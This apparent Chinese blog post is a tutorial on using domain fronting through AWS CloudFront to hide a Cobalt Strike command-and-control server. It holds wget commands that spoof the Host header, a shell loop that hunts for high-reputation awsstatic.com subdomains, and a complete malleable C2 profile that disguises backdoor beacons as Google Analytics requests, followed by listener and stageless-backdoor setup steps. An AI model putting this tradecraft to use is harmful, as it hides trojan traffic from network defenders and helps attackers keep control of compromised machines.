C2隐藏Domain Fronting
介绍:Domain Frontin域前置,是一种用于隐藏真实C2服务器IP且同时能伪装为与高信誉域名通信的技术,多用于木马受控端和控制端之间的隐蔽通信。
#原理
Domain Fronting 的核心技术是 CDN,1台 CDN 会同时负责多个网站的加速服务,如果我访问的两个网站(a.com 和 b.com)都是由同1台 CDN 服务器(1.1.1.1)进行加速服务,那么当我使用浏览器访问这两个域名时,浏览器实际上访问的都是 1.1.1.1 这台 CDN 服务器,但我在浏览器访问的域名有可能是 a.com 也可能是 b.com,所以 1.1.1.1 这台 CDN 服务器必须清楚地知道我访问的是哪个域名,然后才能给我返回对应域名的内容,在和 CDN 服务器通信时,在 HTTP 请求包的 Host 头中填入我们要访问的域名。
一、CloudFront服务,https://console.aws.amazon.com/cloudfront/home
设置完成后会分配到一个域名,xxxx.cloudfront.net
接下来可以用wget测试一下C2域名,
wget -q -O - http://yiwang.com/test.txt 123 #这个是刚刚分配出来的域名,可以请求到test.txt内容 wget -q -O - http://xxxx.cloudfront.net/test.txt 123
修改HOST主机头为CloudFront分配的域名
wget -U demo -q -O - http://a0.awsstatic.com/test.txt --header "Host: xxxxx.cloudfront.net"
123
可以使用高信誉域名来代替我们自己的域名
寻找高信誉域名:for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/test.txt --header "Host: *.cloudfront.net" && echo $i$j; done;done
Cobaltstrike应用准备C2 profile,其中需要替换掉host内容
# make our C2 look like a Google Web Bug # https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting # # Author: @armitagehacker http-get { set uri "/__utm.gif"; client { parameter "utmac" "UA-2202604-2"; parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US"; header "Host" "*.cloudfront.net"; metadata { netbios; prepend "__utma"; parameter "utmcc"; } } server { header "Content-Type" "image/gif"; output { # hexdump pixel.gif # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 # 0000020 01 00 01 00 00 02 01 44 00 3b prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } http-post { set uri "/___utm.gif"; client { header "Content-Type" "application/octet-stream"; id { prepend "UA-220"; append "-2"; parameter "utmac"; } parameter "utmcn" "1"; parameter "utmcs" "ISO-8859-1"; parameter "utmsr" "1280x1024"; parameter "utmsc" "32-bit"; parameter "utmul" "en-US"; header "Host" "*.cloudfront.net"; output { print; } } server { header "Content-Type" "image/gif"; output { prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b"; prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00"; prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00"; print; } } } # dress up the staging process too http-stager { server { header "Content-Type" "image/gif"; } }
使用./c2lint测试看程序是否正常启动cs创建listener
创建listener的时候host填写CloudFront分配的域名,beacons处填写高信誉域名
这种配置方式后门在进行通信时会出现一次请求*.cloudfront.net域名,然后再切换到高信誉域名进行通信,这种通信会泄露了*.cloudfront.net域名,第一次请求就使用高信誉域名的的话,即创建监听器时把Host填写为高信誉域名,需要使用Stageless模式创建backdoor。
Stageless模式:
参考链接:
1.https://blog.donot.me/domain-fronted/
2.https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=71715#/
3.https://evi1cg.me/archives/Domain_Fronting.html
本文来自博客园,作者:aoaoaoao,转载请注明原文链接:https://www.cnblogs.com/websecyw/p/11994194.html